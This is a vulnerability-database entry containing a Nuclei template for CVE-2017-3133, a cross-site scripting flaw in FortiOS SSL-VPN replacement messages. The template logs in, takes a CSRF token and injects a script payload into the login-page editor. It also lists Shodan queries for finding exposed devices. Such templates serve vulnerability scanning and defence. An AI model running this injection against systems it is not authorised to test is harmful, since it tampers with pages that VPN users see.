Lucene search
+L

Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 74 Views

A Cross-Site Scripting vulnerability in Fortinet FortiOS allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
FortiOS < 5.6.0 - Cross-Site Scripting Vulnerability
28 Jul 201700:00
–zdt
bdu_fstec
BDU FSTEC
FortiOS Replacement Messages XSS
31 Oct 201800:00
–bdu_fstec
circl
Circl
CVE-2017-3133
28 Jul 201700:00
–circl
cnvd
CNVD
Fortinet FortiOS Cross-Site Scripting Vulnerability (CNVD-2017-26261)
31 Jul 201700:00
–cnvd
cve
CVE
CVE-2017-3133
12 Sep 201702:00
–cve
cvelist
Cvelist
CVE-2017-3133
12 Sep 201702:00
–cvelist
exploitdb
Exploit DB
Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
28 Jul 201700:00
–exploitdb
euvd
EUVD
EUVD-2017-12274
7 Oct 202500:30
–euvd
exploitpack
exploitpack
FortiOS 5.6.0 - Cross-Site Scripting
28 Jul 201700:00
–exploitpack
fortinet
Fortinet
FortiOS XSS vulnerabilities via FortiView Application filter, FortiToken activation & SSL VPN Replacement Messages
28 Jul 201700:00
–fortinet
Rows per page
id: CVE-2017-3133

info:
  name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3133
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-3133
    cwe-id: CWE-79
    epss-score: 0.10677
    epss-percentile: 0.95804
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{password}}

      - |
        POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}
        DNT: 1

        csrfmiddlewaretoken={{csrf}}&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%0A

      - |
        GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "</textarea><script>alert(document.domain)</script>"

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        name: csrf
        group: 2
        regex:
          - 'ccsrftoken_([0-9_a-z]+)="([A-Z0-9]+)";'
        internal: true
# digest: 4b0a004830460221008216f0b4a7ec60244ca58b59955ec0141a3757d4af5fd0be3e1385418ce4a34e02210099036402e7076ebac9b84e4476c3356204a153b2d4093d59569be7308b9ce12f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 36.1
EPSS0.10677
SSVC
74